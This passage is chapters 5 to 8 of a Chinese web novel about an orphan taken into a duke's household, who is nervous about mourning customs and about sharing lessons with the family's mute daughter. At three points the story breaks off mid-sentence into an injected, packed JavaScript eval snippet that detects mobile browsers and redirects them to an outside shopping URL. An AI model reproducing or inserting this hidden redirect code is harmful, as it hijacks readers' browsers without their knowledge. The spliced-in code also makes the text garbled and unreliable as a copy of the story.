章宜珠道:“他说那些也不是错,有些事情,我们容许是一回事,但卢朔自己不知道又是另外一回事。我当初挑中添庆,就是看他做事周全踏实,才让他去照顾卢朔的。今日你若是训斥了添庆,只怕会让他以为自己多管闲事,将来不敢再在卢朔面前多话。届时没人提点,卢朔在外不慎冒犯了别人就不好了。” 贺兰宗不禁长叹一口气,仰头将杯中酒饮罢。 而另一边,卢朔低着头走出膳厅,候在外面的添庆便立刻跟了上来,问道:“公子,老爷夫人怎么说?” 卢朔低声道:“他们让我不必死守规矩。” 添庆闻言,不由抿了一下嘴唇,试探着问道:“那老爷和夫人可有别的事要吩咐小的?” 卢朔飞快地瞥了他一眼,道:“没有。” 添庆便轻轻吐出一口气,不再多言。 卢朔沉默着往自己的院子走去。 他知道,添庆原先是大公子身边伺候的人,如今被调来照顾他,或许心里有颇多不忿,但不管内心是怎么想的,至少到现在为止,添庆都是在尽职尽责地完成一个下人该做的事,该提点的都提点了,没发生什么让旁人看了笑话、他自己却一无所知的事。 他住在国公府里,实在没什么可委屈的。 可为什么他还是感到眼眶发热发潮,连视野中横平竖直的青砖都渐渐扭曲模糊起来。 他在求见国公和夫人之前,其实就已经隐隐预感到了他们会安慰自己,让自己继续吃好喝好。 这不仅是因为添庆已经预判过,说老爷夫人既然默许,便会处理好一切,也是因为他自己能感觉到,国公夫妇都不是严苛的人,甚至还可能因为恩人之子这重身份,会更加宽容待他。 但卢朔还是来了。 因为他要过个明路。 肉好吃吗? 好吃。 想继续吃吗? 想。 如果守孝必须茹素,不茹素就会被问罪,他能遵守吗? 能。 但如果可以不遵守的话,他还会主动遵守吗? ……不会。 他从来没有吃过这么好吃这么丰盛的饭菜,他由俭入奢,舍不得放弃。 但他不能让国公府的人觉得他是在装傻充楞,他必须得先表现出自己的惶恐和不安,才能换来府上人的包容和体谅。 现在他的目的已经达成了,可他为什么没有一丝一毫的高兴,反而更加痛苦。 脑海中有两个声音在反复争执。 一个说口腹之欲是最低级的欲望,他不知规矩也就罢了,如今既然已经知道真心守孝就该戒绝荤腥,他竟然还会贪图这点小利,难道父母在他的心中,还比不上一盘肉重要? 一个说父母待他一直很好,家中有肉也多半会留给他吃,宣国公说的是对的,如果他们知道自己有好东西却不吃,一定也会急得骂他糊涂的。 这两个声音纷争不休,最后融合成了一个声音,在他脑海中反复回荡。 卢朔,你就是在为自己找借口。 你如果硬要茹素守孝,难道国公府还能按头逼你吃肉不成? 你只是知道父母不会怪你,国公夫妇不会怪你,自己也没有伤害任何人,所以就想理直气壮地享受这天上掉下来的馅饼罢了。 卢朔,他们说你爹是为你卖命,才能让你占了这个便宜,果然没有说错啊。 你今日为了一点口腹之欲,就不愿为父母茹素,那明日你会不会又因为什么事情,不愿为父母上坟祭拜呢? 你今日还记得他们,明年、后年、十年后呢? 你会不会已经习惯了国公府的尊贵奢华,开始嫌弃自己的出身呢? 卢朔死死地攥住手心,咬紧牙关,眼睛一眨都不敢眨,唯恐眼泪落了下来,被添庆瞧去。 夜风从他身边呼呼刮过,将他浑浊滞涩的呼吸悄然掩盖过去。 “卢公子。” 忽然听见有人唤了他一声,卢朔猛地抬起头,两大颗眼泪倏地滴落下去,挂在了下巴上。 迎面走来的贺兰佩和紫苏顿时一愣。 尤其是紫苏,愣完之后便是尴尬,与贺兰佩两个人站在原地,一时间都不知道该作何反应。 小姐从大公子那儿问完书上的问题便回来了,回院的路上恰好碰到从对面过来的卢朔主仆。虽不知道他们怎么现在才回屋,但既然遇见了,招呼总是要打一声的。 人是紫苏喊的,卢朔掉的眼泪却是所有人都看到了的。 一时间连添庆都呆了呆,错愕道:“公子……” 卢朔自知丢人,慌忙用袖子擦了擦脸,用力吸了一下鼻子,瓮着鼻音道:“四小姐好。” 他低下头,往旁边退了两步,要给贺兰佩让路。 尽管这路宽阔得很,并排走五六个人都可以。 贺兰佩却没立刻走,而是扭过头看向紫苏,朝她眨了眨眼睛。 紫苏便轻咳一声,问添庆:“怎么回事,谁欺负卢公子了不成?” 卢朔急忙道:“不是,不是,没有人欺负我,我只是……我只是……忽然想起爹娘了……” “哦……”紫苏挠了挠脸,更尴尬了,干巴巴地安慰道,“公子节哀。” 卢朔胡乱点了点头,连自己都不知道自己在说什么:“没事的,没什么事,你们先走吧……” 却见贺兰佩并未急着走,而是微微垂下眼,双掌合十,贴在脸颊边朝他比划了一下。 丝绦上垂坠的珍珠在她颈侧来回晃动,投下浅浅的阴影,卢朔看着她的动作,不由一愣。 只是还没等他开口询问,贺兰佩已经收起了手势,朝他抿唇颔首,随即便带着紫苏离开了。 卢朔怔怔地望着她远去的背影,直到她消失在了垂花门中,他才收回目光,低声问添庆:“四小姐方才……是什么意思?” 添庆想了想,答道:“应该是希望公子好好歇息,做个好梦的意思。” 做个好梦吗……梦里会有爹娘吗?他们若是能看到自己现在的衣食住行,会是什么样的反应呢? 鼻头又开始泛酸,卢朔却不敢再在大庭广众下丢人,急忙迈步往自己院中去了。 - “先前瞧着,只以为那卢公子孤僻寡言了些,没想到其实还挺爱哭的呢,竟还在路上就哭起来了。”紫苏一边整理着架上的书籍,一边嘀咕道,“虽说没了爹娘确实可怜,但他这样在府里哭,容易叫人误会是府里欠了他什么……虽然确实也欠了他,但奴婢想说的不是那个意思,小姐你懂吧……” 贺兰佩慢吞吞地走到案边,提笔舔了舔半干的墨砚,在白纸上写道:「他原先应是在强忍,不想公然哭泣,只是乍然撞见我们,惊慌之下才不慎落泪。男儿重颜面,此事往后就不提了,当作不曾见过便好。」 紫苏看完,惊讶道:“是这样吗?小姐观察得可真仔细。”又忍不住叹道,“他现在住在府里,若是想爹娘了,偷偷哭一鼻子也没人管他,但若是去了国子监,那里面的学生都住统一的学舍,他这个年纪了还哭,只怕会被人笑话的,那里面可不会有这么多人体谅他父母双亡。” 贺兰佩没再接话,搁下笔,翻起了案上另一本闲书。 国子监里面的事情,自然与她无关。更何况卢朔虽是她爹为报恩带回家的义子,但她也不可能真把他当兄弟看待,礼数到了即可,旁的事自有爹娘照拂,用不着她操心。 贺兰佩看了会儿闲书,倦意渐起,便起身洗漱,准备上床歇息了。 谁知刚躺下,便听外头的丫鬟敲了敲门,叫了一声:“小姐,夫人来了!” 房门打开,章宜珠出现在了门口,瞧见床上刚坐起来的女儿和一旁正准备灭灯烛的紫苏,不由笑了笑,道:“今日累了?” 贺兰佩点头。 今日父亲回京,她虽然不用干什么事,但昨夜有些兴奋,几乎一宿没睡着,下午虽补了觉,但外面的雨声断断续续,也没睡得太踏实,到现在自然是累了。 章宜珠道:“娘也不想打搅你休息,只是有桩急事,想问问你的意见。” 贺兰佩好奇地看着母亲。 章宜珠清了清嗓子,道:“是这样的,白日里你不在的时候,我问了问卢朔的情况,发现他没上过蒙学,只认得一些简单的字,更不必提读过什么书了。” 贺兰佩惊讶地瞪大了眼。 他字都没认全,家中竟要送他去国子监? “这样的情况,进了国子监,那必然是百般不适应。学得差是小事,就怕以他的性子,受了欺负也不好意思告诉我们。”章宜珠道,“所以我和你爹便想着,要不等他先把蒙学念了,字认全了,再去国子监上课?恰好蒋司籍平日就会来府中给你上课,不如便顺道让卢朔一起?” 她仔细地端详着女儿的表情,一边判断着她的情绪,一边小心翼翼地继续道:“自然,你的课业领先卢朔太多,蒋司籍不可能同时给你们俩上一样的课,她只需抽空给卢朔开开蒙就好了。卢朔起步慢,大半时间应该都在描红临摹,应该也影响不到你什么。佩儿啊,娘绝不是不让你安心学习的意思,只是想着你总是一个人上课,说不定会觉得无聊,有个伴儿或许会有意思些……当然,你要是不想跟他在一起上课,娘便再另外找个先生给他开蒙,这一切都看你的意思。” 说罢,她便紧紧地盯住了女儿,生怕女儿露出一星半点不高兴的表情。 ——不是怕她讨厌卢朔这个人,而是怕她不愿接受有新人参与进她狭窄的生活之中。 贺兰佩听罢,沉默了一会儿,掀了被子下床,往书案走去。 章宜珠连忙起身跟上,看看女儿要说什么。 只见贺兰佩提笔写道:「娘是让我与他在同一间屋里上课?」 章宜珠有些心虚地眨了眨眼:“唔……是这个意思。你一直在东廊那间厢房里上课,那屋子本就宽敞,再加一张书案也绰绰有余。若是不同的屋子,蒋司籍跑来跑去不也麻烦么?” 贺兰佩:「这不合适吧?」 章宜珠:“你是讨厌他?还是说和他没关系,你只是想要自己一个人安安静静地上课?” 贺兰佩又飞快写道:「我没有讨厌他,但我也不知道他上课是何种习惯,会否影响于我。况且,蒋司籍同意这般授课了么?卢朔也同意了么?」 章宜珠:“当然是要你先同意,娘才会去同他们说呀。” 贺兰佩:「若是我同意了,他们却不同意呢?」 “那都是后话,你想那么多做什么,你就说自己的想法便好。”章宜珠忍不住摸了摸女儿的脑袋,柔声道,“娘是觉得,卢朔已经是这个家的一员了,他又不像你哥哥们经常在国子监待着不回家,以后抬头不见低头见的,总是要熟悉起来的,不如便趁这个机会多相处相处,你觉得呢?” 贺兰佩轻轻抿了下唇。 她抬起头,注视着章宜珠的眼睛,看到母亲眼底隐隐的期待之色。 她其实并不是很想接受这个提议。 并非对卢朔这个人有什么意见,相反,她还有一点点可怜他。只是她已经习惯了身边固定的人、固定的生活,现在突然告诉她,会有一个新人出现,与她共处一室长期作伴,她实在是有些抗拒。 但是…… 贺兰佩的睫毛颤了颤,手中的笔失了稳度,擦过纸面,留下一道短而细的墨痕。 她知道,母亲这是为她好。 母亲是怕她没有朋友,一个人闷在家里孤独无聊,所以才会想办法找个人来陪她,哪怕这个人是个收养来的义子,男女有别,于礼不合。 但只要她能展现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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贺兰佩确实累了,所以尽管她在脑袋里想象了会儿和卢朔一起上课该是个什么场景,但因为想不出来,很快还是睡了过去。 而主院的寝屋里,章宜珠和贺兰宗喁喁笑语了好一会儿,才终于安静下去,各自响起了绵长的呼吸。 至于几个公子院子里,也陆陆续续暗了下去。 为了迎接国公归京,府里忙碌了好几天,终于能好好歇下,自是一片睡梦沉酣。 只有卢朔一个人,虽然前面几夜都没怎么睡好,明明身体和精神都已经疲惫至极,可脑子里却总是有思绪乱哄哄地飞舞着,搅得他难以入眠。 一会儿是宣国公让他把这里当自己的家,一会儿又是二公子感叹国子监如同监狱;一会儿是添庆和来寿议论他爹聪明,而他命好,一会儿又是临走前叔叔握着他的手,努力亲切地笑说,朔根儿啊,叔一定会给你爹娘好好修坟,以后常记得回来看看啊…… 卢朔就这么辗转反侧了一夜,天微明时,才勉强浑浑噩噩地睡了过去。 只是也没能睡上多久,便被添庆拍门叫醒了。 卢朔睁开眼,缓了会儿,下床去给添庆开门。 外面早已不下雨了,刺目的阳光照进室内,卢朔眯了下眼,心中一个咯噔,连忙问道:“什么时辰了?” 添庆道:“辰时快过半了。” 卢朔慌忙道:“我是不是起晚了?” “公子放心,倒也不算太晚。”添庆道,“老爷夫人和大公子起得早些,二公子和三公子似乎还没起。” 卢朔便松了口气。 添庆将铜盆面巾等物端进屋中,又在卢朔洗漱的时候,从外面提了早膳食盒放到了桌上。 卢朔:“早膳不必跟老爷他们一起用么?” 添庆:“老爷以前得上朝,早早便得出门,但公子小姐们却不必起那么早,所以早膳一直是分开吃的。现在老爷虽然得了陛下的恩赏,在家中静养旧伤,不必去上早朝,但也没要求大家在一起吃早膳。” 卢朔放了心,洗漱完,在桌边坐下。 早膳比较清淡,一碗贡米粥,一碟枣糕,一碟咸食。 添庆:“厨房不知公子爱吃什么,便备了这些。自然也有些别的,公子若不喜欢,或有什么想吃的,小的再去跟厨房说声。” 卢朔低声道:“不打紧,我都吃的。” 他慢慢地吃完了早膳,添庆把空碗碟收进食盒里,交给来寿,让他送回厨房去。 人清醒了,就该干正事了。 卢朔问添庆:“夫人让我去国子监读书,我是否该准备些什么呢?” 添庆道:“若是笔墨纸砚,或衣物鞋袜这些,公子都不必操心,小的早就给公子备好了。公子最该准备的是尽快记住国子监里的种种规矩要求,但这些小的不清楚,最好还是去问问其他几位公子。” 卢朔:“你说大公子已经起了是么?那、那我现在去拜访大公子,你觉得合适吗?” 添庆道:“这个时候大公子应该在晨练,有空,公子可以去。” 卢朔便起身,有些忐忑地出了门,往贺兰振的院落走去。 大公子瞧着平和稳重,不如二公子和三公子那般活泼好动,向他打听国子监的事务,应该能得到较为详尽的解答。 卢朔正在心里斟酌着等会儿如何跟大公子开口,忽听前方传来一阵杂乱的脚步声,他抬起头,便看见两个眼熟的人影在路上追逐嬉笑。 是二公子和三公子。 他们两个也看见了卢朔,停下动作,异口同声道:“早啊卢朔!” 卢朔脸色微僵:“……二公子、三公子早。” 不是说他们还没起么? 两个人朝卢朔走过来,一个人开口问道:“你吃早饭了吗?” 卢朔:“……吃了,二位公子呢?” “我吃了,他还没吃,他要吃肉包子,但今天厨房没做,让人出去现买了。”那人啧了一声,笑道,“你说,他是不是折腾人?要吃肉包子怎么昨晚不说?” 卢朔哪敢接话,只能沉默以对。 另一个人哼笑一声:“有本事我待会吃的时候你不要来分。” “嘁,谁稀罕!” 许是卢朔沉默得过于明显,两个人同时安静下去,瞧着卢朔,又双双对视一眼,露出了一丝古怪的微笑。 “卢朔。”一个人搭住卢朔的肩,咧开嘴,问了一个卢朔此刻最不想听见的问题,“你知道我是谁吗?” 卢朔:“……” 不是贺兰昌,就是贺兰荣。 但是,他实在分不清,哪个是贺兰昌,哪个是贺兰荣。 他们是双胞兄弟,长得实在太像,他昨天第一次见,哪里能认得那么清楚,全是靠衣裳分辨的。 但今天,他们两个的衣裳全换了。 卢朔的经验失效了。 6. 第 6 章 卢朔被兄弟两个齐齐盯着,一个字也说不出来,窘迫得连耳根都红了。 偏偏他们还以此为乐,笑着催促道:“没事的,猜一下嘛,猜错了又不罚你。” 卢朔求救地看向添庆。 添庆张了张嘴,刚想提醒,便被其中一个人横了一眼,顿时不敢再吭声。 卢朔只好硬着头皮,看着强行与他勾肩搭背的小公子,含糊道:“你是……三公子?” 对方挑了挑眉,却并不直接给出回答:“你确定吗?还可以再猜一次哦。” 卢朔:“……” 另一个人则道:“猜那么多次也没意思,不如就赌这一把。” 卢朔:“……” 他正不知所措时,就见一名丫鬟如神兵天降一般出现在了路的另一头。 卢朔认得她,是在夫人身边伺候的大丫鬟。 她走过来,看了看聚在一起的三人,面露一丝疑惑,却还是先对贺兰昌与贺兰荣各行了一礼:“二公子,三公子。” 贺兰荣搭在卢朔肩膀上的手收了回去,撇了撇嘴,道:“梅彩,你来得真不是时候。” 卢朔终于吁出一口气来。 ——还好,他猜对了。 丫鬟笑道:“不知两位公子在和卢公子玩什么呢?不过不管玩什么,现在都得停一停了,老爷夫人那边正要找卢公子说事呢。” 卢朔连忙接话道:“是什么事?可需要我准备什么?” 丫鬟道:“什么都不用准备,卢公子随奴婢直接去便好。” 卢朔便朝贺兰昌和贺兰荣欠了欠身:“夫人找我,那我就先过去了。” 贺兰荣摆了摆手:“去吧去吧。” 等卢朔走远,贺兰荣不禁摸了摸下巴,问贺兰昌:“你说他是怎么猜准的呢?是纯蒙的,还是观察出了什么?” 贺兰昌嗤了一声,说:“有的人毛手毛脚,说话不过脑,一看便知是贺兰荣,不会是贺兰昌。” 贺兰荣大怒:“你又好到哪里去!起得没我早,还非要吃肉包子,事真多!” “难得回一趟家,我还不能吃我想吃的东西了?明天就吃不着了!国子监里的早饭味同嚼蜡你又不是不知道!” …… 卢朔跟着丫鬟进了国公夫妇的院子,刚过花圃,便看见宣国公正在空地上打拳,锻炼身体。 他虽对外宣称养病,但其实伤早就好得差不多了,现在不过是避避风头、偷偷闲罢了。 “卢朔来了?”贺兰宗瞅着卢朔,笑了一声,“昨夜睡得可好?” 卢朔点头道:“谢老爷关心,睡得很好。” 贺兰宗看着他眼下两片淡淡的青黑,也不戳破,只收了拳势,走到卢朔身旁,领着他往屋里走。 章宜珠正在喝茶,看见二人进来了,笑了一下,放下茶盏道:“老爷擦擦汗吧,卢朔你也坐。” 贺兰宗随便用袖子抹了两下额角,便在一旁坐了下来,拿起茶盏灌了两口。 章宜珠看着卢朔,温声道:“卢朔,一早便把你喊来,是有件大事要同你说。” 这架势,卢朔不由紧张起来,肃然道:“夫人请说。” 章宜珠:“我与老爷昨日商量了一下,你还未上过蒙学,也尚未适应京中生活,若直接送去国子监,万一跟不上,可能会适得其反。所以我们打算,就让你在家中开蒙,等基础学得差不多了,再去国子监深造也不迟。你觉得呢?” 卢朔一愣,一股劫后余生般的庆幸顿时涌上心头。 还好,还好!他从昨日愁到今日,一直在担心万一融入不了国子监、给国公府丢人了怎么办。不成想,一早便有了好消息,他不必再去国子监了! 老爷与夫人果然宽和,竟像是能看透他心中所想一般,不仅不再要求他去国子监,甚至还没让他去京中其他学塾,而是就在府上学习!这样一来,他的心里也踏实多了。 卢朔感激道:“谢老爷夫人照顾,我一定好好念书,将来报答老爷夫人的恩情!” “错了,错了!”贺兰宗摇头道,“你读书是为自己,为你早逝的父母,不是为了我们。况且我于你也没什么恩情,本来就是我为了报答你的父亲,才将你接过来照顾,这本就是我的分内之事。” 卢朔眼眶又开始发热。 章宜珠道:“不过,咱们府上的先生是位女先生,虽无功名,但教孩童足够,提前与你说一声,免得你看到后吃惊。” 卢朔忙道:“我知道了。” 他心中不免惊叹,京城不愧是京城,连先生都有女先生。却也有一丝疑惑,毕竟京城里肯定不缺男先生,但为何给他选的却是个女先生?难道是有什么说法? 还没等他想明白,便听章宜珠已经作出了解释:“之所以是位女先生,是因为她本不是你的先生,而是专门给佩儿授课的先生。佩儿的情况你也知道,能教她的先生,那必然是耐心又仔细,你应该很快就能适应上课的过程的。” “竟是四小姐的先生?”卢朔惊愕道,“那我、我是何时上课,又在何处上课?会不会……影响了四小姐?” 听他这么问,章宜珠和贺兰宗对视一眼,露出几分满意之色。 这孩子识大体、懂好赖,心里有秤,不是那种飞上枝头就不知东西南北的狂徒。 让这样的孩子跟佩儿在一起读书,也不怕他带坏了佩儿。 章宜珠道:“为了方便先生授课,你与佩儿在同一间屋里上课,她学她的,你学你的,具体细则,由先生决定。” 什么? 卢朔震惊地张大了嘴,意识到自己失态后,又默默地闭上了。 可是,他还是不敢相信自己听到了什么。 国公与夫人,竟让他和四小姐一起上课? 这这这……合适吗? 四小姐难道不会嫌弃他愚钝吗?他也不了解四小姐,万一哪儿没注意,惹了四小姐不高兴怎么办? “可、可……”卢朔张口结舌——自己的担忧一旦问出口,倒显得四小姐像个刁蛮人物了,在得罪四小姐前,恐怕就先得罪了国公与夫人。 “没关系,你且宽心,佩儿她已经同意了。”章宜珠满面春风地起身,“先生那边也同意了,我现在就带你过去。” 卢朔又懵了一懵。 这么快?他还没有做好心理准备。 若早知会发生这件事,他一定……他一定…… 其实他也不知道自己还能做什么。 难不成还能临时抱佛脚,紧急多学几个字,免得被四小姐和先生笑话? 卢朔慌乱地跟上章宜珠的脚步,下意识地边走边整理自己的衣袍和头发。 尽管都很整洁,没什么可理的,但他若什么都不做,只会更加紧张。 “我就不跟去了,毕竟是在‘养病’。”贺兰宗坐在椅子上,笑了一声,“卢朔,跟着先生,要好好学啊。” 卢朔回过头,用力地咽了下喉咙:“是。” “添庆。”章宜珠顺口嘱咐了一句,“去给卢朔把笔墨纸砚那些东西拿来,另外再问问老二老三那边,有没有保留以前用的蒙书,一起拿到东廊厢房那儿去。” 在门口旁听了全程早已被惊掉下巴的添庆飞快抬手,替自己合上下巴,又恢复了恭恭敬敬的语气:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523258|203368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是。” 添庆去取东西了,卢朔则跟着章宜珠往东廊方向走去。 卢朔犹豫一番,最后还是忍不住问道:“夫人,不知小姐一般几时开始上课?” “辰时半吧,上个半日就结束,下午的时间就随她干什么去。”章宜珠道。 卢朔不禁轻轻吸了一口气。 他今日就是睡到了辰时半才起,没想到四小姐辰时半就已经开始上课了! 思及此,他不由暗暗羞愧,心道辰时半也不是什么很早的时间,以前家里人经常天蒙蒙亮就要去种地或上山,他也得尽快恢复以前的作息才好。 以为他是好奇,章宜珠又补充道:“佩儿她在家里也没什么事做,就数上课最积极。先生姓蒋,原先是宫里的司籍,年纪大了被放出宫,有些学识,我便让她来教佩儿。她见过世面,知道许多有趣的故事,佩儿也爱听。老大他们一般十日才回一趟家,所以我让先生也是十日给佩儿放一次假,这样他们兄妹几个不上学的时候还能在一起玩一玩。” “那、那蒋司籍现在是正在跟小姐上课吗?我现在过去,会不会打扰她们……” “不用担心,她们现在没有在上课。”章宜珠忍不住笑道,“老爷回家,他们兄妹几个都请了两日的假,蒋司籍今日原本也不用过来的,是我早上遣了人去找她说了此事,她说也闲着也是闲着,便先来摸摸你的底,也好知道以后该怎么教。” 刚听到没有在上课的时候,卢朔先松了一口气,等听到蒋司籍还要摸他的底,他又不由把心提了起来。 蒋司籍是宫里的女官,见过各种聪明人,教出来的四小姐,也是个好学爱问的,哪怕不上学的时候,都会主动读书去请教大公子。面对这样的先生,字都认不全的他怎能不心虚? 越接近东廊厢房,卢朔的心跳得便越快,头也垂得越低。 要是这时候突然蒋家来个人,有事把蒋司籍喊走就好了……他胡思乱想着。 终于到了东廊,厢房的门窗开着,从里面传来一串爽朗的笑声:“……怎么样,你说巧不巧?都过去十几年了,我现在想起来还觉得有意思呢!” 厢房外,丫鬟紫苏正无所事事地坐在廊下,看地上蚂蚁爬来爬去。 冷不丁看见章宜珠带着卢朔出现,紫苏连忙站了起来,唤道:“夫人,卢公子。” 章宜珠咦了一声:“佩儿也在?” “是呢,小姐听说蒋司籍来了,便说要来找蒋司籍。”紫苏回答。 章宜珠笑道:“这孩子,今日又不用上课,她过来干什么,真有这么好学?我听着可不像。” 屋里的蒋司籍听见了动静,大步走了出来。 “夫人晨安。”蒋司籍今年五十了,身材微胖,打扮虽朴素,但人却很有精气神儿。她一直在宫里当女官,没有嫁人,出宫后这么大的年纪自然也不可能婚嫁,便住在妹妹和妹夫家中。 因为她手头有钱,所以妹妹一家人也愿意让她住着。但她自己闲不住,得了个教国公府哑小姐的差事,可让她满意得不得了。 蒋司籍明亮的目光从卢朔身上扫过,露出一个微笑:“这便是夫人说的卢公子了吧?瞧着真俊,一看就是个好儿郎!” 卢朔:“……” 他长这么大,还是第一次听到有人夸他俊。如果他都能算俊,那府上的公子们岂不个个都成了天上仙人?难道这就是宫里女官的本事,什么话都往好听了说? 他有点尴尬,一想到四小姐还在屋里听着,就更尴尬了。 想什么来什么,他正如芒刺背之时,就见贺兰佩从屋里走了出来,站在门口,安静地看向了他。 7. 第 7 章 贺兰佩今日穿了一件玉白绣花的褙子,桃红色的裙摆微微垂坠在鞋面上,风一吹,便会像水波纹一样地层层叠叠地荡漾起来。 卢朔不知道她为什么会同意让自己跟她一起上课,是碍于父母的压力?还是出于好心?又或是她其实对此无所谓,卢朔王朔李朔在她看来都没什么区别? 她与蒋司籍是多年师生,今日本不用上课,她却还是一大早过来见蒋司籍,是为了学习?还是为了跟蒋司籍说他的事?若是后者,在她心里,他这个突然加入国公府的外来者,兼即将与她共处一室的所谓同窗,又会是个怎样的形象呢? 卢朔不自觉地抠了抠衣袖。 “是啊,这就是卢朔,他的情况你都已经知道了。”章宜珠对蒋司籍笑道,“这孩子以前没什么机会读书,但胜在吃苦耐劳、乖巧懂事,也愿意从现在开始好好学习。” 蒋司籍点头道:“只要他自己想学,那便是最好的。” 章宜珠轻轻拍了一下卢朔的后背:“卢朔,快跟蒋司籍问好,以后她就是你的先生了。” “蒋司籍好。”卢朔老老实实地叫人。 “哎,都好都好。”蒋司籍道,“进屋慢慢聊吧,别在外面站着了,正好小佩儿也在,就当提前磨合一下了。” 章宜珠往屋里探头,见里面桌上还真摆了一本书和几张纸,不由挑眉:“我当她这么早来,是来找你玩儿的,没想到还真是带了书来的?” 蒋司籍:“可不是!小佩儿告诉我,这书上对一桩古人故事的解读,与我之前的解读略有不同,她昨日去问了大公子,谁知大公子还有另外的解读,她有些想不明白,便又来问我。” 章宜珠:“那么谁是对的呢?” 蒋司籍哈哈一笑:“谁都有道理,谁都不算错。横看成岭侧成峰,解读的人出于不同的角度,往往能把同一件事情解释成不同的样。我跟小佩儿说,等以后她长大了,经历得多了,说不定还能解读出更新的东西。” 章宜珠看着女儿骨碌转的眼睛,不由笑着伸出指头,点了点她的额头:“成天想这么多,当心把自己绕进去!天天只知道念书也容易把自己念傻,还是得多出去接受接受新鲜事物才是!” 蒋司籍:“书上的事,我们也就聊了这么多,倒是我又想起了很久以前的一桩趣事,这才给小佩儿讲了听。这不,刚讲完,夫人你就带着小卢来了。” 章宜珠道:“那我就把这两个孩子都交给司籍你了,你瞧瞧这课该怎么上才合适,我不添乱,就先走一步了。” “放心吧夫人!”蒋司籍满口答应下来,“我现在也没别的事做,就喜欢跟孩子们待在一块!” 章宜珠笑笑,低头对卢朔道:“没关系,慢慢学,咱们有的是时间。” 卢朔:“……是。” 章宜珠走了,添庆还没来,卢朔只得被迫独自面对蒋司籍和贺兰佩。 蒋司籍在宫里见多了形形色色的人,早已练就一双毒辣眼光,虽然国公府早上派来传话的人已经强调过卢朔是从乡下上来的,没读过什么书,但像这样一眼见底的淳朴人家出身的孩子,她其实接触起来更放松。 “进屋吧。”蒋司籍对卢朔笑了笑。 卢朔于是跟着蒋司籍和贺兰佩走进了这间厢房。 许是因为这间厢房这么多年都是给贺兰佩一人上课用的,所以角角落落很多地方都能看到明显的属于贺兰佩的使用痕迹。 比如窗台上摆放的一瓶插花,和窗台下煮茶用的小炉,炉边还摆着两只蒲团,蒲团上铺了杏粉色的棉布衬垫,衬垫四角还打了吉祥结,想来是师生二人课间闲暇时便会坐在这里休憩。 再比如墙上挂着的市井工笔图,图上可能是正逢灯会,画了热热闹闹的街巷和游人,还有各类摊贩和各式灯笼穿插其间,很是生动繁华。 不过卢朔从来没见过人在屋里挂这种画的,村里有些宽裕的人家,会买些观音画像、寿星公画像挂在家中,图个好寓意。但四小姐在屋中挂这画是为什么?他也不敢问,可能是他没见识。 又比如手边的博古架,架上放了几本旧书、一只香盒,还有若干小巧玲珑的玉摆件,以及一些与玉摆件不大匹配、像是从路边街市上淘来的便宜小玩意儿,例如什么泥人、陶瓦猪狗、竹编蜻蜓,还有风干的松果、枯莲蓬、山核桃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523259|203368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等等。 博古架将一间厢房分成了左右两边,左边靠内的区域是两张相对而置的书案,人若坐在书案之后,便能彼此面对。右边靠外的区域则单独摆了一张,大小差不多,但成色却有些不同。卢朔猜测了一下,里面那两张应该就是蒋司籍和四小姐常年使用的书案,外面新加的这张,应该就是给他的。 果然,他看见贺兰佩从博古架旁边路过,进了内侧,在放着书本和纸笔的案边坐下了。 蒋司籍没过去,站在卢朔身旁,指着跟前这张单独摆放的书案,和颜悦色道:“小卢啊,以后你就在这儿上课。” 卢朔一边应是,一边拘谨地在书案边坐下了。 添庆还没把东西送来,案上空空荡荡,干净得几乎能倒映出他的影子。 蒋司籍没有一上来就问他学过哪些字,而是先从他的家乡问起,问他住在哪个府哪个县哪个乡,那边产什么作物,家里人平日又做什么生计。 卢朔一一答了,但是蒋司籍没有去过那么远的地方,也没有种过地,对卢朔说的东西一知半解。但她却像拉家常一样,笑吟吟地问卢朔那些她不了解的东西究竟是什么形状、什么颜色,卢朔见她似乎真的好奇,便也忍不住越说越多,越说越细。 说到最后,他都有点糊涂了,怎么一直都是他在说,这到底是谁给谁上课? 他咽了下略显干渴的喉咙,蒋司籍见状,便踱到窗台边,倒了一杯茶,回来递给卢朔。 卢朔受宠若惊,起身接过:“是我失礼了,怎么好让先生给学生倒茶。” 蒋司籍甩了甩袖子:“不必在意那些虚礼,反正也不是我的茶,是国公府的茶!” 她这么一说,卢朔便下意识看向贺兰佩。 从他的角度看过去,贺兰佩的身影被博古架挡住了不少,只能看到她的后侧脸和一半背影。但不知道从什么时候开始,先前还坐在书案前低头翻书的小姐竟已停止了动作,正微微扭过一点头,用余光瞥着斜后方的他。 发现他的目光投了过来,她迅速回正脑袋,但可能是觉得自己这样有些欲盖弥彰,便又重新转过脸来,朝他微微点了下头。 8. 第 8 章 笃笃笃! 就在这时,房门被人敲响了。 门是一直开着的,添庆站在门口,手里提了个书箱,呼吸有点急促,显然是一路快步赶来:“蒋司籍,小的是来给卢公子送学具的。” 蒋司籍颔首:“进来吧。” 